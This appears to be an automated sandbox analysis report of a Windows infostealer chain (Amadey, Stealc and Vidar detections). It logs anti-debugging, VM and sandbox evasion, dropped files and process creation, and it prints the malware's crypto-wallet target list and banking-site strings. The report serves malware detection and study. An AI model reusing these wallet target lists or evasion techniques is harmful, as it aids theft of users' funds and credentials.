Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8B9F6F second address: 8B9F93 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F7BB4E67DE7h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 39FA12 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 54F96D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 39F9EC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5D77C4 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Special instruction interceptor: First address: 6EEB48 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Special instruction interceptor: First address: 6EEC0F instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Special instruction interceptor: First address: 88D3EE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: DAEB48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: DAEC0F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F4D3EE instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsEBKEHJJDAA.exe

Code function: 24_2_050801EC rdtsc

24_2_050801EC

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1008317001\4965008c28.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 5716	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3300	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5720	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4176	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1136	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6540	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6540	Thread sleep time: -66033s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5236	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5236	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7612	Thread sleep count: 54 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7612	Thread sleep time: -1620000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7612	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\DocumentsEBKEHJJDAA.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C95C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C95C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000001C.00000002.3399423312.0000000000F32000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: BGIDBKKK.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: BGIDBKKK.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: BGIDBKKK.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: BGIDBKKK.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: BGIDBKKK.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: BGIDBKKK.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: BGIDBKKK.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000002.2694362561.000000002369B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, 00000000.00000002.2667851166.00000000010B3000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.3401230710.0000000001319000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.3401230710.000000000134B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BGIDBKKK.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: BGIDBKKK.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: BGIDBKKK.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: BGIDBKKK.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: BGIDBKKK.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: BGIDBKKK.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: BGIDBKKK.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: BGIDBKKK.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: skotes.exe, 0000001C.00000002.3401230710.000000000134B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW#;a
Source: BGIDBKKK.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: BGIDBKKK.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2694362561.000000002369B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: BGIDBKKK.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: BGIDBKKK.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: BGIDBKKK.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: BGIDBKKK.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: BGIDBKKK.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: BGIDBKKK.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2667851166.000000000103E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: BGIDBKKK.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: BGIDBKKK.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000000.00000002.2667851166.0000000001085000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: BGIDBKKK.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: BGIDBKKK.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: BGIDBKKK.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: BGIDBKKK.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2666403114.0000000000527000.00000040.00000001.01000000.00000003.sdmp, DocumentsEBKEHJJDAA.exe, 00000018.00000002.2687595424.0000000000872000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000019.00000002.2711477730.0000000000F32000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001A.00000002.2719099584.0000000000F32000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001C.00000002.3399423312.0000000000F32000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: BGIDBKKK.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: BGIDBKKK.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsEBKEHJJDAA.exe

Code function: 24_2_050801EC rdtsc

24_2_050801EC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9A5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C9A5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C943480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00D7652B mov eax, dword ptr fs:[00000030h]		28_2_00D7652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00D7A302 mov eax, dword ptr fs:[00000030h]		28_2_00D7A302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C97B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C97B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 3704, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEBKEHJJDAA.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsEBKEHJJDAA.exe "C:\Users\user\DocumentsEBKEHJJDAA.exe"
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: file.exe, file.exe, 00000000.00000002.2666403114.0000000000527000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: MProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C97B341 cpuid

0_2_6C97B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9435A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9435A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 28_2_00D465E0 LookupAccountNameA,

28_2_00D465E0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 25.2.skotes.exe.d40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.skotes.exe.d40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.DocumentsEBKEHJJDAA.exe.680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.skotes.exe.d40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000003.3296532538.0000000005180000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2687274886.0000000000681000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2711342646.0000000000D41000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2669469165.0000000005130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2718925825.0000000000D41000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3399174335.0000000000D41000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2677919904.0000000005350000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2646542332.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2160232079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2666039485.0000000000151000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2667851166.000000000103E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3704, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3704, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2667851166.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667851166.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667851166.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo 